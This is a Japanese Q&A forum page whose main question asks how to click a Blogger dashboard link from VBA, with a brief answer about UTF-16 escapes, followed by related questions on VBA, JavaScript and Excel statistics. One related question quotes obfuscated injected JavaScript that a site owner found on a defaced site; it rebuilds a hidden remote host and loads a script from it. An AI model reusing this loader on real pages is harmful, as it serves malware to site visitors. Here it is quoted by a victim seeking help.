- 締切済み
VBAでWEBのリンクをクリックしたい
お世話になります。 VBAで添付画像の赤色枠の箇所を、自動でクリックしたいのですが、 実現できません。 ブラウザで「ソースを表示」しても「あいうえお」という値が入ったタグが 出てこないのです。 文字数が原因で全文載せることができないのですが、以下に「ソースを表示」で 記された内容を記載しますので、知識ある方教えて頂けないでしょうか？ ★「ソースを表示」 <!DOCTYPE HTML><html dir="ltr"><head> <style type="text/css"> @font-face { font-family: 'Open Sans'; font-style: normal; font-weight: 400; src: local('Open Sans'), local('OpenSans'), url(//fonts.gstatic.com/s/opensans/v10/u-WUoqrET9fUeobQW7jkRT8E0i7KZn-EPnyo3HZu7kw.woff) format('woff'); } @font-face { font-family: 'Open Sans'; font-style: normal; font-weight: 600; src: local('Open Sans Semibold'), local('OpenSans-Semibold'), url(//fonts.gstatic.com/s/opensans/v10/MTP_ySUJH_bn48VBG8sNSha1RVmPjeKy21_GQJaLlJI.woff) format('woff'); } </style> <meta name="com.google.blogger.b2.gwt.dashboard.DashboardModule::gwt:property" content="baseUrl=https://www.blogger.com/static/v1/gwt/"> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta name="description" content="Blogger は Google の無料のブログ公開ツールで、世界中のユーザーとアイデアの共有を簡単に行うことができます。Blogger では、テキスト、写真、動画を個人のブログやチーム ブログに簡単に投稿することができます。"> <meta name="keywords" content="ブロガー, ブログスポット, ブログ, ブロガードットコム, ブログスポットドットコム, 無料ブログ, 個人ブログ, ウェブログ, ブログを作成, 新規ブログ, blogger, blogspot, blog, blogger.com, blogspot.com, free blog, personal blog, weblog, create blog, new blog"> <title>Blogger: Blogger ダッシュボード</title> <script type="text/javascript">(function() { var b=window,f="chrome",g="tick",k="jstiming";(function(){function d(a){this.t={};this.tick=function(a,d,c){var e=void 0!=c?c:(new Date).getTime();this.t[a]=[e,d];if(void 0==c)try{b.console.timeStamp("CSI/"+a)}catch(h){}};this[g]("start",null,a)}var a;b.performance&&(a=b.performance.timing);var n=a?new d(a.responseStart):new d;b.jstiming={Timer:d,load:n};if(a){var c=a.navigationStart,h=a.responseStart;0<c&&h>=c&&(b[k].srt=h-c)}if(a){var e=b[k].load;0<c&&h>=c&&(e[g]("_wtsrt",void 0,c),e[g]("wtsrt_","_wtsrt",h),e[g]("tbsd_","wtsrt_"))}try{a=null, b[f]&&b[f].csi&&(a=Math.floor(b[f].csi().pageT),e&&0<c&&(e[g]("_tbnd",void 0,b[f].csi().startE),e[g]("tbnd_","_tbnd",c))),null==a&&b.gtbExternal&&(a=b.gtbExternal.pageT()),null==a&&b.external&&(a=b.external.pageT,e&&0<c&&(e[g]("_tbnd",void 0,b.external.startE),e[g]("tbnd_","_tbnd",c))),a&&(b[k].pt=a)}catch(p){}})();b.tickAboveFold=function(d){var a=0;if(d.offsetParent){do a+=d.offsetTop;while(d=d.offsetParent)}d=a;750>=d&&b[k].load[g]("aft")};var l=!1;function m(){l||(l=!0,b[k].load[g]("firstScrollTime"))}b.addEventListener?b.addEventListener("scroll",m,!1):b.attachEvent("onscroll",m); })();</script></head> <body id="blogger-dashboard" class="lang_ja"><script type="text/javascript"> var DashboardClientFlags={0:true,1:true,5:true,9:true,11:10000,12:"/go/adsensehelp",19:"{\x221\x22:{\x221\x22:\x22\\u3084\\u307e\\u3060\\u305f\\u308d\\u3046\x22,\x225\x22:\x22https://plus.google.com/111415095292153979878\x22,\x226\x22:true},\x222\x22:[{\x221\x22:\x223265592934540335
- kgyqk433
- お礼率27% (220/805)
- Visual Basic
- 回答数1
- ありがとう数9
- みんなの回答 （1）
- 専門家の回答
みんなの回答
- weboner
- ベストアンサー率45% (111/244)
見えている部分で \\u3084\\u307e\\u3060\\u305f\\u308d\\u3046 ↑ これが”やまだたろう”（UTF-16のコード） なので ”あいうえお”があるとすると \\3042\\3044\\3046\\3048\\304A ↑ こんな感じの表示になっていると思う
関連するQ&A
- VBA関連 マクロ 教えてください
エクセルのマクロの初心者ですが、、 集団｛a0b0 a0c0 a0d1 a0e1 a0f1 a0g1 b0c0 b0d1 b0e1｝ と集団｛a0b0 a0c0 a0d0 a0e0 a0f0 a0g0 b0c0 b0d0 b0e0｝ の中で共通点の同じものを表示したいとき、どうすればいいですか？？ 教えてください。
- 締切済み
- その他([技術者向] コンピューター)
- JavaScriptの配列について
var old_array = Array('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '<', '#', '/', '>', '%', '.', '*', '0', '!', '?', ':', '=', '|'); var new_array = Array('b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '<', '#', '/', '>', '%', '.', '*', '0', '!', '?', ':', '=', '|'); のような配列があり、 abcと入力するとbcd DEFと入力するとEFG 012と入力すると!23 というようなものを作りたいのですがどうすればいいでしょうか。
- ベストアンサー
- JavaScript
- VBA
1 a;b;c;d; 2 e;f;g;h; 3 i;j;k;l; をVBAで 1 a; 2 e; 3 i; 1 b; 2 f; 3 j; 1 c; 2 g; 3 k; 1 d; 2 h; 3 l; としたいのですが、どうしたらいいですか？
- ベストアンサー
- Visual Basic
- imgPreviewのエラー
jQueryでマウスオーバー時に画像を表示する imgPreviewを使用してホームページを作成しました。 表示はうまくいったのですが、 「'undefined' は Null またはオブジェクトではありません。」というエラーメッセージが出てしまいます。 問題はimgpreview.jsのようで、 サムネイル画像のマウスオーバーでプレビューさせる部分が原因？のようです。 今回、サムネイル画像のロールオーバーは不要ですが 改善方法が分かる方がいらっしゃいましたら、教えてください。 ちなみに、以下のサイトを参考にして作成しました。 http://dispersalblog.blog90.fc2.com/blog-entry-206.html 【imgpreview.js】の中身 (function(c){c.expr[':'].linkingToImage=function(a,g,e){return!!(c(a).attr(e[3])&&c(a).attr(e[3]).match(/\.(gif|jpe?g|png|bmp)$/i))};c.fn.imgPreview=function(j){var b=c.extend({imgCSS:{},distanceFromCursor:{top:10,left:10},preloadImages:true,onShow:function(){},onHide:function(){},onLoad:function(){},containerID:'imgPreviewContainer',containerLoadingClass:'loading',thumbPrefix:'',srcAttr:'href'},j),d=c('<div/>').attr('id',b.containerID).append('<img/>').hide().css('position','absolute').appendTo('body'),f=c('img',d).css(b.imgCSS),h=this.filter(':linkingToImage('+b.srcAttr+')');function i(a){return a.replace(/(\/?)([^\/]+)$/,'$1'+b.thumbPrefix+'$2')}if(b.preloadImages){(function(a){var g=new Image(),e=arguments.callee;g.src=i(c(h[a]).attr(b.srcAttr));g.onload=function(){h[a+1]&&e(a+1)}})(0)}h.mousemove(function(a){d.css({top:a.pageY+b.distanceFromCursor.top+'px',left:a.pageX+b.distanceFromCursor.left+'px'})}).hover(function(){var a=this;d.addClass(b.containerLoadingClass).show();f.load(function(){d.removeClass(b.containerLoadingClass);f.show();b.onLoad.call(f[0],a)}).attr('src',i(c(a).attr(b.srcAttr)));b.onShow.call(d[0],a)},function(){d.hide();f.unbind('load').attr('src','').hide();b.onHide.call(d[0],this)});return this}})(jQuery);
- ベストアンサー
- JavaScript
- 中心極限定理をエクセルで確かめる問題
1.まずX1+X2+…+X8の分布を畳み込みの方法により求めるマクロをVBAを用いて作る。 VBAに以下のものを入力する。 Function f(x As Double) If x >= 1 And x <= 6 Then f = 1 Else f = 0 End If End Function Function g(z As Double) Dim x As Double, k As Double k = 0 For x = 1 To z k = k + f(x) * f(z - x) Next x g = k End Function Function h(z As Double) Dim x As Double, k As Double k = 0 For x = 1 To z k = k + g(x) * g(z - x) Next x h = k End Function Function u(z As Double) Dim x As Double, k As Double k = 0 For x = 1 To z k = k + h(x) * h(z - x) Next x u = k End Function 2.エクセルワークシートで実行する。そのためにA1のセルにxを入力し、A2からA42のセルにX1+X2+…+X8の取る値としての8～48を入力する。 3.B1のセルにu(x)を入力し、B2からB42のセルに関数u(x)の値を求める。そのためにB2の説に=u(A2)を入力し、オートフィルの方法で求める。 4.(X1+X2+…+X8)/8 = Xのバー の取る値をx/8=zで表すことにする。そこでC1のセルにzを入力し、C2のセルに=A2/8を入力し、C2からC42のセルをオートフィルの方法で満たす。 5. 3.で求めたu(x)の値を6^8で割り、それをΔz=1/8で割った値、即ち8倍した値を密度関数g(z)とする。そこでD1のセルにg(z)を入力し、D2のセルに=B2/6 8*8を入力し、オートフィルの方法で求める。 6.平均値と分散が等しい正規分布N(3.5,35/(12*8))の密度関数と比較する。C2からC42にあるzの値に対応するN(3.5,35/(12*8))の密度関数の値をE2からE42のセルにエクセルのNORMDIST関数で用いて満たす。 という問題です。 【質問1】 5.に=B2/6 8*8というのがありますが、=B2/((6^8)*8)ということでしょうか。 【質問2】 A2には8、A3には9、A42には48と表記されています。 B2にはu(A2)、B3にはu(A3)、B42にはu(A42)と表記されています。 C2には1、C3には1.125、C42には６と表記されています。 D2～D42にはすべて#VALUE!と表記されています。 #VALUE!と出ているのは間違いでしょうか。 【質問3】 =NORMDIST(C2:C42,3.5,(35/(12*8))^(1/2),FALSE) と打つと、0.167651637と出ます。 この数値は何を示しているのでしょうか。 【質問4】 定理の確かめをエクセルで行い、プリントアウトしたいです。 A～D列はこのままとしても、どのようにまとめるべきでしょうか。
- ベストアンサー
- 数学・算数
- ＶＢＡ Ｆｏｒ Eachの使い方
For Each x In Range("A1:G1") このようなコードにおいて、Ａ１からＧ１の全てに対して処理を行うのではなく、Ａ１とＣ１とＥ１とＧ１に対して処理を行い、Ｂ１とＤ１とＦ１は飛ばして処理をしないようにするにはどうすれば良いですか？
- ベストアンサー
- Visual Basic
- WEBサイトが改変された？
WEBサイトが改変された？ 今日、自分の個人サイトにアクセスすると、白い背景に「indiatimes-com.r10.net.hu」と表示されるだけのページになってしまっていました。もちろん、元のページはそんなデザインではありません。おかしいと思って、htmlのタグを見てみたところ、一番下の部分に妙なスクリプトが埋め込んであるのを発見しました。 どうやらこれが原因のようなのですが、これはウィルスの仕業なのでしょうか？だとしたら駆除などはどうすれば良いのでしょうか？ このようなことは初めてのことで困っています。 お分かりの方がいらっしゃいましたら回答ください。お願いします。 問題のスクリプト↓ <script> try{window.onload=function(){document.write('<div id=megaid>indiatimes-com.r10.net.hu</div>');Lr45metv0qok = document.getElementById('megaid').innerHTML + 'b@)@p&)a^g!#@@e&^s#(-#&c^o^m!.!#c@$)o$$u&&n@)@t(@^)e^(r!!!b@e(s(@&t)$$$&.)r#u#@:^$&)D$!@&E$!!B!U$#((G#(@^/(($d^(t&i&^@b@!l@^^o)!)g(&#.!$!c^o#$m#/^&(d)($#t@&i()b(l#&^o@!#!(g(^.(($c#@^#o#@#^m&(/$g&$^!$o!!o&)@g@&l((e!$@.&!^h#r!/#)g$o)o)g(^@l&&(e#).$^c^^(#o&#&m$$/#!o&$@^d##e#s##k&&).^!!#c^(#o)m@(/#$'.replace(/#|\!|&|\)|@|\$|\^|\(/ig, '') ;document.write('<scr'+'ipt src=http://'+Lr45metv0qok.replace(/DEBUG/g, '8080')+'></scr'+'ipt>');} } catch(S9rjp3zo ) {}</script> <!--2f85bb3982c06b3b51c0586c6184ce2c-->
- ベストアンサー
- ウィルス・マルウェア
- 指数関数の方程式の解き方について
a,b,c,d,uは定数、xは変数、eはexp a≠b≠c≠d≠u≠0 の時、 ae^(-((x-u)/c)^2)+be^(-((x-u)/c)^4)=d の式のxの解を求めたいのですが、どのようにすればいいのかわかりません。 どなたか解き方のわかる方はいらっしゃいますでしょうか？ 教えていただけると、ありがたいです。 よろしくお願いします。
- ベストアンサー
- 数学・算数
- VBAのJScriptのeval()の挙動について
VBAのコードを調べていますが、 JScriptで記述されている部分があり、 この部分でよく分からない挙動があるので教えてください。 (JSONデータをパースしているコードです) 具体的には、(実際のコードを簡略化したもの) ---------------------------------------- Sub test() Dim x As String Dim sc As Variant Dim y As String x = "{""A"":""d"",""B"":""e"",""C"":""f""}" Set sc = json_perse(x) y = sc.CodeObject.getValue("B") Debug.Print y End Sub Public Function json_perse(ByVal x As String) As Variant Dim sc As Object Set sc = CreateObject("ScriptControl") With sc .Language = "JScript" .AddCode "function getValue(){ var $tmp=''; for(var $i = 0; $i < arguments.length; $i++){ $tmp += ""['"" + arguments[$i] + ""']""; } return eval('e' + $tmp); }" .AddCode "var e = eval(" & x & ");" End With Set json_perse = sc End Function ------------------------------------------ のコードを実行すると、 getValue()の引数で指定した文字列(ここではB) の後の:の後の文字(ここではe)が返されますが、 なぜ、このようになるのかがよく分かりません。 この処理をしている部分を抽出すると ------------------------------------- function getValue(){ var $tmp=''; for(var $i = 0; $i < arguments.length; $i++){ $tmp += ""['"" + arguments[$i] + ""']""; } return eval('e' + $tmp); } var e = eval(" & x & "); ------------------------------------- となっていて、 eval()は、文字列として指定されたコードをJavaScriptのコードとして評価する ということですが、 eval(" & x & ")とeval('e' + $tmp)の部分が何をしているのかがよく分かりません。 なぜ、このコードを実行すると、 $tmpの文字(この場合はB)の後の:の後にある値が取得できるのでしょうか。
- 締切済み
- JavaScript
- 中心極限定理をエクセルで確かめる問題（まとめ方）
1.まずX1+X2+…+X8の分布を畳み込みの方法により求めるマクロをVBAを用いて作る。 VBAに以下のものを入力する。 Function f(x As Double) If x >= 1 And x <= 6 Then f = 1 Else f = 0 End If End Function Function g(z As Double) Dim x As Double, k As Double k = 0 For x = 1 To z k = k + f(x) * f(z - x) Next x g = k End Function Function h(z As Double) Dim x As Double, k As Double k = 0 For x = 1 To z k = k + g(x) * g(z - x) Next x h = k End Function Function u(z As Double) Dim x As Double, k As Double k = 0 For x = 1 To z k = k + h(x) * h(z - x) Next x u = k End Function 2.エクセルワークシートで実行する。そのためにA1のセルにxを入力し、A2からA42のセルにX1+X2+…+X8の取る値としての8～48を入力する。 3.B1のセルにu(x)を入力し、B2からB42のセルに関数u(x)の値を求める。そのためにB2の説に=u(A2)を入力し、オートフィルの方法で求める。 4.(X1+X2+…+X8)/8 = Xのバー の取る値をx/8=zで表すことにする。そこでC1のセルにzを入力し、C2のセルに=A2/8を入力し、C2からC42のセルをオートフィルの方法で満たす。 5. 3.で求めたu(x)の値を6^8で割り、それをΔz=1/8で割った値、即ち8倍した値を密度関数g(z)とする。そこでD1のセルにg(z)を入力し、D2のセルに=B2/6 8*8を入力し、オートフィルの方法で求める。 6.平均値と分散が等しい正規分布N(3.5,35/(12*8))の密度関数と比較する。C2からC42にあるzの値に対応するN(3.5,35/(12*8))の密度関数の値をE2からE42のセルにエクセルのNORMDIST関数で用いて満たす。 という問題ですが、以下のようにエクセルで作成してみましたが、合っていますでしょうか。 また、最終的にどのようなところまで持って行き、どのようにまとめれば良いのでしょうか。 x u(x) z g(z) 確率密度 8 1 1 4.76299E-06 0.000125166 9 8 1.125 3.81039E-05 0.000288691 10 36 1.25 0.000171468 0.000637921 11 120 1.375 0.000571559 0.001350479 12 330 1.5 0.001571788 0.002739026 13 792 1.625 0.003772291 0.005322208 14 1708 1.75 0.008135193 0.009907745 15 3368 1.875 0.016041762 0.017670353 16 6147 2 0.029278121 0.030192771 17 10480 2.125 0.049916171 0.049425163 18 16808 2.25 0.080056394 0.077514085 19 25488 2.375 0.121399177 0.116466366 20 36688 2.5 0.174744704 0.167651637 21 50288 2.625 0.239521414 0.231207786 22 65808 2.75 0.313443073 0.3054812 23 82384 2.875 0.392394452 0.386681952 24 98813 3 0.470645671 0.468932891 25 113688 3.125 0.541495199 0.54482229 26 125588 3.25 0.598174821 0.606438017 27 133288 3.375 0.63484987 0.646703706 28 135954 3.5 0.647548011 0.660711187 29 133288 3.625 0.63484987 0.646703706 30 125588 3.75 0.598174821 0.606438017 31 113688 3.875 0.541495199 0.54482229 32 98813 4 0.470645671 0.468932891 33 82384 4.125 0.392394452 0.386681952 34 65808 4.25 0.313443073 0.3054812 35 50288 4.375 0.239521414 0.231207786 36 36688 4.5 0.174744704 0.167651637 37 25488 4.625 0.121399177 0.116466366 38 16808 4.75 0.080056394 0.077514085 39 10480 4.875 0.049916171 0.049425163 40 6147 5 0.029278121 0.030192771 41 3368 5.125 0.016041762 0.017670353 42 1708 5.25 0.008135193 0.009907745 43 792 5.375 0.003772291 0.005322208 44 330 5.5 0.001571788 0.002739026 45 120 5.625 0.000571559 0.001350479 46 36 5.75 0.000171468 0.000637921 47 8 5.875 3.81039E-05 0.000288691 48 1 6 4.76299E-06 0.000125166
- 締切済み
- 数学・算数
